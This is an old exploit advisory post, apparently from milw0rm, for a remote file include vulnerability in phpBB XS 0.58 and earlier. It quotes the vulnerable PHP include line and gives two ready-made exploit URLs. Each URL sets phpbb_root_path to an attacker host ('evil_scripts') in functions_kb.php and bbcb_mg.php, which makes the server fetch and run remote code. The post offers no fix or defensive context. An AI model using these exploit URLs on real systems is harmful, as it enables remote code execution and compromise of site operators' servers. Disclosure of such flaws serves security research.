Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Kerio Multiple insufficient argument validation of hooked SSDT function Vulnerability

VAMP Webmail <= 2.0beta1 (yesno. phtml) Remote Include Vulnerability

EasyBannerFree (functions. php) Remote File Include Exploit

[SA22211] WWWthreads "Cat" Cross-Site Scripting Vulnerabilities

From:	x0r0n_(at)_hotmail.com <x0r0n_(at)_hotmail.com>
Date:	02.10.2006
Subject:	phpBB XS <= 0.58 (phpbb_root_path) Remote File Include Vulnerability(2)

###########################################################

#phpBB XS <= 0.58 (phpbb_root_path) Remote File Include Vulnerability(2)

############################################################

#Author: XORON - SHiKaA

############################################################

#URL: http://www.comscripts.com/jump.php?action=script&id=1082

############################################################

#Class: Remote

############################################################

#Code:   include($phpbb_root_path . 'language/lang_' .
$board_config['default_lang'] . '/lang_bbcb_mg.' . $phpEx);

############################################################

#Exploit:

http://www.site.com/[path]/includes/functions_kb.php?phpbb_root_path=http:
//evil_scripts?
http://www.site.com/[path]/includes/bbcb_mg.php?phpbb_root_path=http:
//evil_scripts?

############################################################

#Greetz: str0ke and AzzCoder ;)

############################################################

# milw0rm.com [2006-09-28]